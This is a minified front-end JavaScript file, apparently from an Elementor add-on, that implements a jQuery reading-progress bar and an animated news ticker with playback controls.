!function(t,i,o,a){t.extend({scrolline:function(a){var r={backColor:"#ecf0f1",direction:"horizontal",frontColor:"#2ecc71",opacity:1,position:"top",reverse:!1,weight:5,zindex:1e3,scrollEnd:function(){}};function e(i){this.params=t.extend(r,i),this.$back=t(o.createElement("div")).addClass("upk-reading-progress-wrap"),this.$front=t(o.createElement("div")),this.init()}e.prototype={init:function(){var o,a,r,e,n,s,p,c,d=this;"vertical"!=d.params.direction&&(d.params.direction="horizontal"),"vertical"==d.params.direction&&"right"!=d.params.position&&(d.params.position="left"),"horizontal"==d.params.direction&&"bottom"!=d.params.position&&(d.params.position="top"),"vertical"==d.params.direction?(r=o=0,"right"==d.params.position?(a=0,e="auto"):(a="auto",e=0)):(a=e=0,"bottom"==d.params.position?(o="auto",r=0):(o=0,r="auto")),d.params.reverse&&!0===d.params.reverse?"vertical"==d.params.direction?(p=s=c=0,n="auto"):(p=s=s=0,c="auto"):(n=c=0,p=s="auto"),d.$front.css({background:d.params.frontColor,bottom:p,height:0,left:c,margin:0,overflow:"hidden",padding:0,position:"absolute",right:s,top:n,width:0,transition:"all 0.3s ease 0s"}).appendTo(d.$back),d.$back.css({background:d.params.backColor,bottom:r,height:0,left:e,opacity:d.params.opacity,margin:0,overflow:"hidden",position:"fixed",padding:0,right:a,top:o,width:0,zIndex:d.params.zindex}).appendTo("body"),t(i).on("load resize scroll orientationchange",(function(){d.scrollListener()}))},scrollListener:function(){var a,r,e,n,s,p,c=this,d=t(i).height(),h=t(i).width(),l=t(o).height(),m=t(i).scrollTop(),g=m/(l-d),u=Math.round(100*g);"vertical"==c.params.direction?(s=(m+d)*d/l,s=u+"%",a=c.params.weight,r=p=d,e=c.params.weight,n=s):(s=(m+d)*h/l,s=u+"%",a=p=h,r=c.params.weight,e=s,n=c.params.weight),c.$back.css({height:r,width:a}),c.$front.css({height:n,width:e}),s>=p&&c.params.scrollEnd()}},new e(a)}})}(jQuery,window,document);
!function(t){"use strict";t.upkNewsTicker=function(i,e){var s={effect:"fade",direction:"ltr",autoPlay:!1,interval:4e3,scrollSpeed:2,pauseOnHover:!1,position:"auto",zIndex:99999},n=this;n.settings={},n._element=t(i),n._label=n._element.children(".upk-news-ticker-label"),n._news=n._element.children(".upk-news-ticker-content"),n._ul=n._news.children("ul"),n._li=n._ul.children("li"),n._controls=n._element.children(".upk-news-ticker-controls"),n._prev=n._controls.find(".upk-news-ticker-prev").parent(),n._action=n._controls.find(".upk-news-ticker-action").parent(),n._next=n._controls.find(".upk-news-ticker-next").parent(),n._pause=!1,n._controlsIsActive=!0,n._totalNews=n._ul.children("li").length,n._activeNews=0,n._interval=!1,n._frameId=null;var l=function(){var t=parseFloat(n._ul.css("marginLeft"));t-=n.settings.scrollSpeed/2,n._ul.css({marginLeft:t}),t<=-n._ul.find("li:first-child").outerWidth()&&(n._ul.find("li:first-child").insertAfter(n._ul.find("li:last-child")),n._ul.css({marginLeft:0})),!1===n._pause&&(n._frameId=requestAnimationFrame(l),window.requestAnimationFrame&&n._frameId||setTimeout(l,16))},a=function(){var t=parseFloat(n._ul.css("marginRight"));t-=n.settings.scrollSpeed/2,n._ul.css({marginRight:t}),t<=-n._ul.find("li:first-child").outerWidth()&&(n._ul.find("li:first-child").insertAfter(n._ul.find("li:last-child")),n._ul.css({marginRight:0})),!1===n._pause&&(n._frameId=requestAnimationFrame(a)),window.requestAnimationFrame&&n._frameId||setTimeout(a,16)},c=function(){"rtl"===n.settings.direction?n._ul.stop().animate({marginRight:-n._ul.find("li:first-child").outerWidth()},300,(function(){n._ul.find("li:first-child").insertAfter(n._ul.find("li:last-child")),n._ul.css({marginRight:0}),n._controlsIsActive=!0})):n._ul.stop().animate({marginLeft:-n._ul.find("li:first-child").outerWidth()},300,(function(){n._ul.find("li:first-child").insertAfter(n._ul.find("li:last-child")),n._ul.css({marginLeft:0}),n._controlsIsActive=!0}))},o=function(){"rtl"===n.settings.direction?(parseInt(n._ul.css("marginRight"),10)>=0&&(n._ul.css({"margin-right":-n._ul.find("li:last-child").outerWidth()}),n._ul.find("li:last-child").insertBefore(n._ul.find("li:first-child"))),n._ul.stop().animate({marginRight:0},300,(function(){n._controlsIsActive=!0}))):(parseInt(n._ul.css("marginLeft"),10)>=0&&(n._ul.css({"margin-left":-n._ul.find("li:last-child").outerWidth()}),n._ul.find("li:last-child").insertBefore(n._ul.find("li:first-child"))),n._ul.stop().animate({marginLeft:0},300,(function(){n._controlsIsActive=!0})))},r=function(){switch(n._controlsIsActive=!0,n.settings.effect){case"typography":n._ul.find("li").hide(),n._ul.find("li").eq(n._activeNews).width(30).show(),n._ul.find("li").eq(n._activeNews).animate({width:"100%",opacity:1},1500);break;case"fade":n._ul.find("li").hide(),n._ul.find("li").eq(n._activeNews).fadeIn();break;case"slide-down":n._totalNews<=1?n._ul.find("li").animate({top:30,opacity:0},300,(function(){t(this).css({top:-30,opacity:0,display:"block"}),t(this).animate({top:0,opacity:1},300)})):(n._ul.find("li:visible").animate({top:30,opacity:0},300,(function(){t(this).hide()})),n._ul.find("li").eq(n._activeNews).css({top:-30,opacity:0}).show(),n._ul.find("li").eq(n._activeNews).animate({top:0,opacity:1},300));break;case"slide-up":n._totalNews<=1?n._ul.find("li").animate({top:-30,opacity:0},300,(function(){t(this).css({top:30,opacity:0,display:"block"}),t(this).animate({top:0,opacity:1},300)})):(n._ul.find("li:visible").animate({top:-30,opacity:0},300,(function(){t(this).hide()})),n._ul.find("li").eq(n._activeNews).css({top:30,opacity:0}).show(),n._ul.find("li").eq(n._activeNews).animate({top:0,opacity:1},300));break;case"slide-right":n._totalNews<=1?n._ul.find("li").animate({left:"50%",opacity:0},300,(function(){t(this).css({left:-50,opacity:0,display:"block"}),t(this).animate({left:0,opacity:1},300)})):(n._ul.find("li:visible").animate({left:"50%",opacity:0},300,(function(){t(this).hide()})),n._ul.find("li").eq(n._activeNews).css({left:-50,opacity:0}).show(),n._ul.find("li").eq(n._activeNews).animate({left:0,opacity:1},300));break;case"slide-left":n._totalNews<=1?n._ul.find("li").animate({left:"-50%",opacity:0},300,(function(){t(this).css({left:"50%",opacity:0,display:"block"}),t(this).animate({left:0,opacity:1},300)})):(n._ul.find("li:visible").animate({left:"-50%",opacity:0},300,(function(){t(this).hide()})),n._ul.find("li").eq(n._activeNews).css({left:"50%",opacity:0}).show(),n._ul.find("li").eq(n._activeNews).animate({left:0,opacity:1},300));break;default:n._ul.find("li").hide(),n._ul.find("li").eq(n._activeNews).show()}},u=function(){if(n._pause=!1,n.settings.autoPlay)if("scroll"===n.settings.effect)"rtl"===n.settings.direction?n._ul.width()>n._news.width()?a():n._ul.css({marginRight:0}):n._ul.width()>n._news.width()?l():n._ul.css({marginLeft:0});else n.pause(),n._interval=setInterval((function(){n.next()}),n.settings.interval)},_=function(){n._element.width()<480?(n._label.hide(),"rtl"==n.settings.direction?n._news.css({right:0}):n._news.css({left:0})):(n._label.show(),"rtl"==n.settings.direction?n._news.css({right:n._label.outerWidth()}):n._news.css({left:n._label.outerWidth()}))};n.init=function(){n.settings=t.extend({},s,e),n._element.addClass("upk-effect-"+n.settings.effect+" upk-direction-"+n.settings.direction),function(){if(n._label.length>0&&("rtl"==n.settings.direction?n._news.css({right:n._label.outerWidth()}):n._news.css({left:n._label.outerWidth()})),n._controls.length>0){var i=n._controls.outerWidth();"rtl"==n.settings.direction?n._news.css({left:i}):n._news.css({right:i})}if("scroll"===n.settings.effect){var e=0;n._li.each((function(){e+=t(this).outerWidth()})),e+=50,n._ul.css({width:e})}}(),"scroll"!=n.settings.effect&&r(),u(),n.settings.autoPlay?n._action.find("span").removeClass("upk-news-ticker-play").addClass("upk-news-ticker-pause"):n._action.find("span").removeClass("upk-news-ticker-pause").addClass("upk-news-ticker-play"),n._element.on("mouseleave",(function(i){var e=t(document.elementFromPoint(i.clientX,i.clientY)).parents(".upk-breaking-news")[0];t(this)[0]!==e&&(!0===n.settings.pauseOnHover?!0===n.settings.autoPlay&&n.play():!0===n.settings.autoPlay&&!0===n._pause&&n.play())})),n._element.on("mouseenter",(function(){!0===n.settings.pauseOnHover&&n.pause()})),n._next.on("click",(function(){n._controlsIsActive&&(n._controlsIsActive=!1,n.pause(),n.next())})),n._prev.on("click",(function(){n._controlsIsActive&&(n._controlsIsActive=!1,n.pause(),n.prev())})),n._action.on("click",(function(){n._controlsIsActive&&(n._action.find("span").hasClass("upk-news-ticker-pause")?(n._action.find("span").removeClass("upk-news-ticker-pause").addClass("upk-news-ticker-play"),n.stop()):(n.settings.autoPlay=!0,n._action.find("span").removeClass("upk-news-ticker-play").addClass("upk-news-ticker-pause")))})),_(),t(window).on("resize",(function(){_(),n.pause(),n.play()}))},n.pause=function(){n._pause=!0,clearInterval(n._interval),cancelAnimationFrame(n._frameId)},n.stop=function(){n._pause=!0,n.settings.autoPlay=!1},n.play=function(){u()},n.next=function(){"scroll"===n.settings.effect?c():(n._activeNews++,n._activeNews>=n._totalNews&&(n._activeNews=0),r())},n.prev=function(){"scroll"===n.settings.effect?o():(n._activeNews--,n._activeNews<0&&(n._activeNews=n._totalNews-1),r())},n.init()},t.fn.upkNewsTicker=function(i){return this.each((function(){if(null==t(this).data("upkNewsTicker")){var e=new t.upkNewsTicker(this,i);t(this).data("upkNewsTicker",e)}}))}}(jQuery);
})(jQuery, window.elementorFrontend);